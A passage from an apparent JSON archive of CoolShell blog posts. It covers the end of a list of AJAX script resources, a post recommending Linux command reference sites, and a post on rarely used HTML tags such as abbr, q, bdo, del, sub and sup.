target=\"_blank\">Select Some Checkboxes JavaScript Function</a><br/>\n<a href=\"http://www.shawnolson.net/a/1302/select-some-checkboxes-javascript-function.html\"><img alt=\"\" class=\"alignnone size-full wp-image-86\" height=\"214\" src=\"../wp-content/uploads/2009/02/select-some-checkboxes-javascript-function.png\" title=\"select-some-checkboxes-javascript-function\" width=\"400\"/></a></p>\n<p>38. <a href=\"http://www.ejschart.com/index.php\" target=\"_blank\">AJAX Emprise Charts</a><br/>\n<a href=\"http://www.ejschart.com/index.php\"><img alt=\"\" class=\"alignnone size-full wp-image-87\" height=\"262\" src=\"../wp-content/uploads/2009/02/ajax-emprise-charts.png\" title=\"ajax-emprise-charts\" width=\"401\"/></a></p>\n<p>39. <a href=\"http://www.amcharts.com/pie/\" target=\"_blank\">amCharts: customizable flash Pie &amp; Donut chart</a><br/>\n<a href=\"http://www.amcharts.com/pie/\"><img alt=\"\" class=\"alignnone size-full wp-image-88\" height=\"264\" src=\"../wp-content/uploads/2009/02/amcharts-customizable-flash-pie-donut-chart.png\" title=\"amcharts-customizable-flash-pie-donut-chart\" width=\"404\"/></a></p>\n<p>40. <a href=\"http://www.pjhyett.com/posts/190-the-lightbox-effect-without-lightbox\" target=\"_blank\">PJ Hyett : The Lightbox Effect without Lightbox</a><br/>\n<a href=\"http://www.pjhyett.com/posts/190-the-lightbox-effect-without-lightbox\"><img alt=\"\" class=\"alignnone size-full wp-image-89\" height=\"260\" src=\"../wp-content/uploads/2009/02/pj-hyett-the-lightbox-effect-without-lightbox.jpg\" title=\"pj-hyett-the-lightbox-effect-without-lightbox\" width=\"402\"/></a></p>\n<h3><strong>Forms</strong></h3>\n<p>41. <a href=\"http://digitarald.de/playground/uplooad.html\" target=\"_blank\">AJAX Upload Form</a><br/>\n<a href=\"http://digitarald.de/playground/uplooad.html\"><img alt=\"\" class=\"alignnone size-full wp-image-90\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-upload-form.png\" title=\"ajax-upload-form\" width=\"399\"/></a></p>\n<p>42. <a href=\"http://www.dustindiaz.com/ajax-contact-form/\" target=\"_blank\">An AJAX contact form</a><br/>\n<a href=\"http://www.dustindiaz.com/ajax-contact-form/\"><img alt=\"\" class=\"alignnone size-full wp-image-137\" height=\"189\" src=\"../wp-content/uploads/2009/02/an-ajax-contact-form1.png\" title=\"an-ajax-contact-form1\" width=\"400\"/></a><a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/an-ajax-contact-form.png\"></a></p>\n<p>43. <a href=\"http://www.roscripts.com/AJAX_contact_form-144.html\" target=\"_blank\">AJAX contact form</a><br/>\n<a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajax-contact-form.png\"><img alt=\"\" class=\"alignnone size-full wp-image-92\" height=\"241\" src=\"../wp-content/uploads/2009/02/ajax-contact-form.png\" title=\"ajax-contact-form\" width=\"400\"/></a></p>\n<p>44. <a href=\"http://www.roscripts.com/AJAX_contact_form-144.html\" target=\"_blank\">Ajax.Form</a><br/>\n<a href=\"http://delimitdesign.com/wp-content/uploads/2009/02/ajaxform.png\"><img alt=\"\" class=\"alignnone size-full wp-image-93\" height=\"189\" src=\"../wp-content/uploads/2009/02/ajaxform.png\" title=\"ajaxform\" width=\"399\"/></a></p>\n<p>45. <a href=\"http://www.roscripts.com/Ajax_form_validation-152.html\" target=\"_blank\">Ajax form validation</a><br/>\n<a href=\"http://www.roscripts.com/Ajax_form_validation-152.htm\"><img alt=\"\" class=\"alignnone size-full wp-image-96\" height=\"214\" src=\"../wp-content/uploads/2009/02/ajax-form-validation.png\" title=\"ajax-form-validation\" width=\"400\"/></a></p>\n<p>46. <a href=\"http://tetlaw.id.au/view/javascript/really-easy-field-validation\" target=\"_blank\">Really easy field validation</a><br/>\n<a href=\"http://tetlaw.id.au/view/javascript/really-easy-field-validation\"><img alt=\"\" class=\"alignnone size-full wp-image-97\" height=\"260\" src=\"../wp-content/uploads/2009/02/really-easy-field-validation.png\" title=\"really-easy-field-validation\" width=\"400\"/></a></p>\n<p>47. <a href=\"http://www.phil-taylor.com/fvalidate/\" target=\"_blank\">AJAX fValidate</a><br/>\n<a href=\"http://www.phil-taylor.com/fvalidate/\"><img alt=\"\" class=\"alignnone size-full wp-image-98\" height=\"119\" src=\"../wp-content/uploads/2009/02/ajax-fvalidate.png\" title=\"ajax-fvalidate\" width=\"400\"/></a></p>\n<p>48. <a href=\"http://www.roscripts.com/Ajax_newsletter_form-146.html\" target=\"_blank\">Ajax newsletter form</a><br/>\n<a href=\"http://www.roscripts.com/Ajax_newsletter_form-146.html\"><img alt=\"\" class=\"alignnone size-full wp-image-99\" height=\"91\" src=\"../wp-content/uploads/2009/02/ajax-newsletter-form.png\" title=\"ajax-newsletter-form\" width=\"400\"/></a></p>\n<p>49. <a href=\"http://www.formassembly.com/wForms/\" target=\"_blank\">wForms</a><br/>\n<a href=\"http://www.formassembly.com/wForms/\"><img alt=\"\" class=\"alignnone size-full wp-image-100\" height=\"145\" src=\"../wp-content/uploads/2009/02/wforms.png\" title=\"wforms\" width=\"400\"/></a></p>\n<h3><strong>Tables and Grids</strong></h3>\n<p>50. <a href=\"http://www.smashingmagazine.com/2007/05/30/tables-and-data-grids-with-ajax-dhtml-javascript/\" target=\"_blank\">Data Grids with AJAX, DHTML and JavaScript | Smashing Magazine</a><br/>\n<a href=\"http://www.smashingmagazine.com/2007/05/30/tables-and-data-grids-with-ajax-dhtml-javascript/\"><img alt=\"\" class=\"alignnone size-full wp-image-101\" height=\"260\" src=\"../wp-content/uploads/2009/02/data-grids-with-ajax-dhtml-and-javascript-smashing-magazine.png\" title=\"data-grids-with-ajax-dhtml-and-javascript-smashing-magazine\" width=\"400\"/></a></p>\n<p>51. <a href=\"http://extjs.com/playpen/ext-2.0/examples/grid/grid3.html\" target=\"_blank\">Grid3 Example</a><br/>\n<a href=\"http://extjs.com/playpen/ext-2.0/examples/grid/grid3.html\"><img alt=\"\" class=\"alignnone size-full wp-image-102\" height=\"260\" src=\"../wp-content/uploads/2009/02/grid3-example.png\" title=\"grid3-example\" width=\"400\"/></a></p>\n<p>52. <a href=\"http://www.frequency-decoder.com/2006/09/16/unobtrusive-table-sort-script-revisited\" target=\"_blank\">AJAX Table Sort Script (revisited)</a><br/>\n<a href=\"http://www.frequency-decoder.com/2006/09/16/unobtrusive-table-sort-script-revisited\"><img alt=\"\" class=\"alignnone size-full wp-image-103\" height=\"150\" src=\"../wp-content/uploads/2009/02/ajax-table-sort-script-revisited.png\" title=\"ajax-table-sort-script-revisited\" width=\"400\"/></a></p>\n<p>53. <a href=\"http://www.mochikit.com/examples/ajax_tables/index.html\" target=\"_blank\">AJAX Sortable Tables</a><br/>\n<a href=\"http://www.mochikit.com/examples/ajax_tables/index.html\"><img alt=\"\" class=\"alignnone size-full wp-image-104\" height=\"174\" src=\"../wp-content/uploads/2009/02/ajax-sortable-tables.png\" title=\"ajax-sortable-tables\" width=\"400\"/></a></p>\n<p>54. <a href=\"http://www.millstream.com.au/view/code/tablekit/\" target=\"_blank\">AJAX TableKit</a><br/>\n<a href=\"http://www.millstream.com.au/view/code/tablekit/\"><img alt=\"\" class=\"alignnone size-full wp-image-105\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-tablekit.png\" title=\"ajax-tablekit\" width=\"400\"/></a></p>\n<h3><strong>Showcases, Galleries, and Lightbox Scripts</strong></h3>\n<p>55. <a href=\"http://www.smashingmagazine.com/2007/05/18/30-best-solutions-for-image-galleries-slideshows-lightboxes/\" target=\"_blank\">30 Scripts For Galleries, Slideshows and Lightboxes | Smashing Magazine</a><br/>\n<a href=\"http://www.smashingmagazine.com/2007/05/18/30-best-solutions-for-image-galleries-slideshows-lightboxes/\"><img alt=\"\" class=\"alignnone size-full wp-image-107\" height=\"260\" src=\"../wp-content/uploads/2009/02/30-scripts-for-galleries-slideshows-and-lightboxes-smashing-magazine1.png\" title=\"30-scripts-for-galleries-slideshows-and-lightboxes-smashing-magazine1\" width=\"400\"/></a></p>\n<p>56. <a href=\"http://www.nofunc.com/Sexy_Box/\" target=\"_blank\">AJAX LightBox, Sexy Box, Thick Box</a><br/>\n<a href=\"http://www.nofunc.com/Sexy_Box/\"><img alt=\"\" class=\"alignnone size-full wp-image-108\" height=\"158\" src=\"../wp-content/uploads/2009/02/ajax-lightbox-sexy-box-thick-box.png\" title=\"ajax-lightbox-sexy-box-thick-box\" width=\"400\"/></a></p>\n<p>57. <a href=\"http://www.huddletogether.com/projects/lightbox/\" target=\"_blank\">AJAX Lightbox JS</a><br/>\n<a href=\"http://www.huddletogether.com/projects/lightbox\"><img alt=\"\" class=\"alignnone size-full wp-image-109\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-lightbox-js.png\" title=\"ajax-lightbox-js\" width=\"400\"/></a></p>\n<p>58. <a href=\"http://orangoo.com/labs/GreyBox/\" target=\"_blank\">AJAX Unobtrusive Popup – GreyBox</a><br/>\n<a href=\"http://orangoo.com/labs/GreyBox/\"><img alt=\"\" class=\"alignnone size-full wp-image-110\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-unobtrusive-popup-greybox.png\" title=\"ajax-unobtrusive-popup-greybox\" width=\"400\"/></a></p>\n<p>59. <a href=\"http://smoothgallery.jondesign.net/showcase/gallery/\" target=\"_blank\">SmoothGallery: Mootools Mojo for Images | Full gallery</a><br/>\n<a href=\"http://smoothgallery.jondesign.net/showcase/gallery/\"><img alt=\"\" class=\"alignnone size-full wp-image-111\" height=\"267\" src=\"../wp-content/uploads/2009/02/smoothgallery-mootools-mojo-for-images-full-gallery.png\" title=\"smoothgallery-mootools-mojo-for-images-full-gallery\" width=\"400\"/></a></p>\n<p>60. <a href=\"http://www.smashingmagazine.com/2006/11/15/ajax-dhtml-and-javascript-libraries/\" target=\"_blank\">AJAX Libraries and Frameworks</a><br/>\n<a href=\"http://www.smashingmagazine.com/2006/11/15/ajax-dhtml-and-javascript-libraries/\"><img alt=\"\" class=\"alignnone size-full wp-image-112\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-libraries-and-frameworks.png\" title=\"ajax-libraries-and-frameworks\" width=\"400\"/></a></p>\n<h3><strong>Animation and Visual Effects Scripts</strong></h3>\n<p>61. <a href=\"http://firblitz.com/2007/3/6/re-how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css\" target=\"_blank\">How to Create Digg Comment Style Sliding DIVs with Javascript and CSS</a><br/>\n<a href=\"http://firblitz.com/2007/3/6/re-how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css\"><img alt=\"\" class=\"alignnone size-full wp-image-138\" height=\"135\" src=\"../wp-content/uploads/2009/02/how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css1.gif\" title=\"how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css1\" width=\"400\"/></a></p>\n<p>62. <a href=\"http://www.harrymaugans.com/2007/03/05/how-to-create-a-collapsible-div-with-javascript-and-css/\" target=\"_blank\">How to Create a Collapsible DIV with Javascript and CSS</a><br/>\n<a href=\"http://www.harrymaugans.com/2007/03/05/how-to-create-a-collapsible-div-with-javascript-and-css/\"><img alt=\"\" class=\"alignnone size-full wp-image-117\" height=\"96\" src=\"../wp-content/uploads/2009/02/how-to-create-a-collapsible-div-with-javascript-and-css1.png\" title=\"how-to-create-a-collapsible-div-with-javascript-and-css1\" width=\"400\"/></a></p>\n<p>63. <a href=\"http://www.harrymaugans.com/2007/03/06/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css/\" target=\"_blank\">How to Create an Animated, Sliding, Collapsible DIV with Javascript and CSS</a><br/>\n<a href=\"http://www.harrymaugans.com/2007/03/06/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css/\"><img alt=\"\" class=\"alignnone size-full wp-image-116\" height=\"124\" src=\"../wp-content/uploads/2009/02/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css.png\" title=\"how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css\" width=\"400\"/></a></p>\n<p>64. <a href=\"http://demo.script.aculo.us/shop\" target=\"_blank\"><span lang=\"FR\">AJAX Shopcart</span></a><br/>\n<a href=\"http://demo.script.aculo.us/shop\"><img alt=\"\" class=\"alignnone size-full wp-image-118\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-shopcart.png\" title=\"ajax-shopcart\" width=\"400\"/></a></p>\n<p>65. <a href=\"http://www.dhtmlgoodies.com/index.html?showDownload=true&amp;whichScript=dragable-content\" target=\"_blank\"><span lang=\"FR\">Draggable content</span></a><br/>\n<a href=\"http://www.dhtmlgoodies.com/index.html?showDownload=true&amp;whichScript=dragable-content\"><img alt=\"\" class=\"alignnone size-full wp-image-119\" height=\"260\" src=\"../wp-content/uploads/2009/02/draggable-content.png\" title=\"draggable-content\" width=\"400\"/></a></p>\n<p>66. <a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=dragable-boxes\" target=\"_blank\"><span lang=\"FR\">Dragable RSS boxes</span></a><br/>\n<a href=\"http://www.dhtmlgoodies.com/index.html?whichScript=dragable-boxes\"><img alt=\"\" class=\"alignnone size-full wp-image-120\" height=\"260\" src=\"../wp-content/uploads/2009/02/dragable-rss-boxes.png\" title=\"dragable-rss-boxes\" width=\"400\"/></a></p>\n<p>67. <a href=\"http://www.openrico.org/demos?demo=pull_down\" target=\"_blank\">AJAX Pull Down Effect</a><br/>\n<a href=\"http://www.openrico.org/demos?demo=pull_down\"><img alt=\"\" class=\"alignnone size-full wp-image-121\" height=\"151\" src=\"../wp-content/uploads/2009/02/ajax-pull-down-effect.png\" title=\"ajax-pull-down-effect\" width=\"400\"/></a></p>\n<p>68. <a href=\"http://www.openrico.org/demos?demo=effect_animation\" target=\"_blank\">AJAX Animation Effects</a><br/>\n<a href=\"http://www.openrico.org/demos?demo=effect_animation\"><img alt=\"\" class=\"alignnone size-full wp-image-122\" height=\"175\" src=\"../wp-content/uploads/2009/02/ajax-animation-effects.png\" title=\"ajax-animation-effects\" width=\"400\"/></a></p>\n<p>69. <a href=\"http://wiki.script.aculo.us/scriptaculous/show/CombinationEffects\" target=\"_blank\">Combination Effects in scriptaculous wiki</a><br/>\n<a href=\"http://wiki.script.aculo.us/scriptaculous/show/CombinationEffects\"><img alt=\"\" class=\"alignnone size-full wp-image-123\" height=\"260\" src=\"../wp-content/uploads/2009/02/combination-effects-in-scriptaculous-wiki.png\" title=\"combination-effects-in-scriptaculous-wiki\" width=\"400\"/></a></p>\n<p>70. <a href=\"http://demos.mootools.net/Fx.Morph\" target=\"_blank\">AJAX Motion Transition</a><br/>\n<a href=\"http://demos.mootools.net/Fx.Morph\"><img alt=\"\" class=\"alignnone size-full wp-image-124\" height=\"253\" src=\"../wp-content/uploads/2009/02/ajax-motion-transition.png\" title=\"ajax-motion-transition\" width=\"400\"/></a></p>\n<h3><strong>Useful Javascript Scripts</strong></h3>\n<p>71. <a href=\"http://www.codecoffee.com/articles/9tips.html\" target=\"_blank\">9 Javascript(s) you better not miss!</a><br/>\n<a href=\"http://www.codecoffee.com/articles/9tips.html\"><img alt=\"\" class=\"alignnone size-full wp-image-125\" height=\"260\" src=\"../wp-content/uploads/2009/02/9-javascripts-you-better-not-miss.png\" title=\"9-javascripts-you-better-not-miss\" width=\"400\"/></a></p>\n<p>72. <a href=\"http://www.dustindiaz.com/top-ten-javascript/\" target=\"_blank\">Top 10 custom JavaScript functions of all time</a><br/>\n<a href=\"http://www.dustindiaz.com/top-ten-javascript/\"><img alt=\"\" class=\"alignnone size-full wp-image-127\" height=\"260\" src=\"../wp-content/uploads/2009/02/top-10-custom-javascript-functions-of-all-time1.png\" title=\"top-10-custom-javascript-functions-of-all-time1\" width=\"400\"/></a></p>\n<p>73. <a href=\"http://hyperdisc.unitec.ac.nz/materials/javascript/top10/breadcrumbs.htm\" target=\"_blank\">Hyperdisc Materials: JavaScript: Top 10: Automatic Breadcrumb Trail</a><br/>\n<a href=\"http://hyperdisc.unitec.ac.nz/materials/javascript/top10/breadcrumbs.htm\"><img alt=\"\" class=\"alignnone size-full wp-image-128\" height=\"260\" src=\"../wp-content/uploads/2009/02/hyperdisc-materials-javascript-top-10-automatic-breadcrumb-trail.png\" title=\"hyperdisc-materials-javascript-top-10-automatic-breadcrumb-trail\" width=\"400\"/></a></p>\n<p>74. <a href=\"http://hyperdisc.unitec.ac.nz/materials/javascript/top10/\" target=\"_blank\">JavaScript: Top 10 Most Useful JavaScripts</a><br/>\n<a href=\"http://hyperdisc.unitec.ac.nz/materials/javascript/top10/\"><img alt=\"\" class=\"alignnone size-full wp-image-129\" height=\"214\" src=\"../wp-content/uploads/2009/02/javascript-top-10-most-useful-javascripts.png\" title=\"javascript-top-10-most-useful-javascripts\" width=\"400\"/></a></p>\n<p>75. <a href=\"http://www.blakems.com/archives/000087.html?_required=first_name%2CFirst+Name%7Clast_name%2CLast+Name%7Cemailer%2CEmail&amp;first_name=asdad&amp;last_name=dasdad&amp;emailer=dasdad\" target=\"_blank\">My Favorite Javascripts for Designers: Blakems.com ?</a><br/>\n<a href=\"http://www.blakems.com/archives/000087.html?_required=first_name%2CFirst+Name%7Clast_name%2CLast+Name%7Cemailer%2CEmail&amp;first_name=asdad&amp;last_name=dasdad&amp;emailer=dasdad\"><img alt=\"\" class=\"alignnone size-full wp-image-130\" height=\"260\" src=\"../wp-content/uploads/2009/02/my-favorite-javascripts-for-designers-blakems-com.png\" title=\"my-favorite-javascripts-for-designers-blakems-com\" width=\"400\"/></a></p>\n<h3><strong>More Resources and Galleries</strong></h3>\n<p>76. <a href=\"http://www.maxkiesler.com/index.php/mhub/category/\" target=\"_blank\">Max Kiesler – mHub : Ajax and rails examples &amp; how-to’s</a><br/>\n<a href=\"http://www.maxkiesler.com/index.php/mhub/category/\"><img alt=\"\" class=\"alignnone size-full wp-image-133\" height=\"260\" src=\"../wp-content/uploads/2009/02/max-kiesler-mhub-ajax-and-rails-examples-how-toe28099s.png\" title=\"max-kiesler-mhub-ajax-and-rails-examples-how-toe28099s\" width=\"400\"/></a></p>\n<p>77. <a href=\"http://ajax.solutoire.com/\" target=\"_blank\">Ajax Resources</a><br/>\n<a href=\"http://ajax.solutoire.com/\"><img alt=\"\" class=\"alignnone size-full wp-image-134\" height=\"260\" src=\"../wp-content/uploads/2009/02/ajax-resources.png\" title=\"ajax-resources\" width=\"400\"/></a></p>\n<p>78. <a href=\"http://snippets.dzone.com/\" target=\"_blank\">DZone Snippets: Store, sort and share source code, with tag goodness</a><br/>\n<a href=\"http://snippets.dzone.com/\"><img alt=\"\" class=\"alignnone size-full wp-image-135\" height=\"144\" src=\"../wp-content/uploads/2009/02/dzone-snippets-store-sort-and-share-source-code-with-tag-goodness.png\" title=\"dzone-snippets-store-sort-and-share-source-code-with-tag-goodness\" width=\"400\"/></a></p>\n<p>文章来源：<a href=\"http://delimitdesign.com/ajax/80-ajax-solutions-that-are-usefull-and-innovative/\" target=\"_blank\">链接</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9749.html\"><img alt=\"Javascript 装载和执行\" height=\"150\" src=\"../wp-content/uploads/2013/06/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9749.html\">Javascript 装载和执行</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2593.html\"><img alt=\"Web版的VNC\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2593.html\">Web版的VNC</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1611.html\"><img alt=\"Ajax开发利器UIzard \" height=\"150\" src=\"../wp-content/uploads/2009/10/uizard2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1611.html\">Ajax开发利器UIzard </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/909.html\"><img alt=\"7个免费强大的Ajax文件管理器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/909.html\">7个免费强大的Ajax文件管理器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/57.html\">80个优秀的AJAX方案</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-8 Linux 命令速查.html",
    "content": "<html><body><p>下面两个网站可以方便地检索Linux下的命令及一些用法。我比较喜欢第一个，不仅仅是因为它支持中文，而且他还给所有的命令做了一个分类。而第二个类似于一个速查手册，有些像man手册。</p>\n<p>有些时候，如果知道了命令，用linux下的man手册会显得更加方便，但在Linux下，太多的命令不是我们不会用，而是我们不知道。所以，类别检索就会显得很关键了，这正是我向大家推荐第一个网站的原因。</p>\n<ul>\n<li><a href=\"http://www.linuxcmd.org/cn/\">http://www.linuxcmd.org/cn/</a></li>\n<li><a href=\"http://oreilly.com/linux/command-directory/\">http://oreilly.com/linux/command-directory/</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/64.html\">Linux 命令速查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-3-9 几个你可能从来没有用过的HTML标识.html",
    "content": "<html><body><p>下面有三个HTML的标识，你可能从来没有用过。</p>\n<p><strong>第一个：&lt;abbr&gt; 或 &lt;acronym&gt;</strong><br/>\n这两个标识是一回事，主要是用于一些英语的缩写，当你把鼠标移上去的时候，你会发现会出现一个小提示来提示缩写的全称。下面是一个示例：</p>\n<ol>\n<li><abbr title=\"HyperText Markup Language\">HTML </abbr></li>\n<li><abbr title=\"电气电子工程师协会(Institute of Electrical and Electronics Engineers)\">IEEE</abbr></li>\n<li><abbr title=\"Read the Fucking Source Code\">RTFSC</abbr></li>\n</ol>\n<pre class=\"html\" name=\"code\">\n<abbr title=\"HyperText Markup Language\">HTML </abbr>\n<abbr title=\"电气电子工程师协会(Institute of Electrical and Electronics Engineers)\"> IEEE </abbr>\n<abbr title=\"Read the Fucking Source Code\">RTFSC</abbr>\n</pre>\n<p><span id=\"more-67\"></span></p>\n<p><strong>第二个：&lt;q&gt;<br/>\n</strong>这个标识主要就是把引用的文字加上双引号，这个标识看来好像很没有什么意思。官方说是为了方便，可我总觉得这个标识还不如直接输入双引号来的方便。好像的确没什么。难道这个标识只能在Firefox下看到，IE就不支持了。下面是个示例：</p>\n<p><q>这个是一句引言</q></p>\n<pre class=\"html\" name=\"code\">\n<q>这个是一句引言</q>\n</pre>\n<p><strong>第三个，&lt;bdo&gt;</strong><br/>\n这个标识很有意思，可以把从左到右的字序全部反转过来。比如：May I help you sir ? 如果加上了这个标识后，就是下面这个样子：</p>\n<ol>\n<li>May I help you sir ?</li>\n<li>什么事可以为你效劳啊？</li>\n</ol>\n<pre class=\"html\" name=\"code\">\nMay I help you sir ?\n什么事可以为你效劳啊？\n</pre>\n<p><strong>第四个，&lt;del&gt;</strong><br/>\n为你的字符串加上删除线。如：<del>这是一段删除文字</del>。</p>\n<pre class=\"html\" name=\"code\">\n<del>这是一段删除文字</del>\n</pre>\n<p><strong>第五、六个，&lt;sub&gt;&lt;sup&gt;</strong><br/>\n这两个是下标和上标。下面是示例：<br/>\n这是一个<sub>下标</sub>，这是一个<sup>上标</sup>。</p>\n<pre class=\"html\" name=\"code\">\n这是一个<sub>下标</sub>，这是一个<sup>上标</sup>\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" 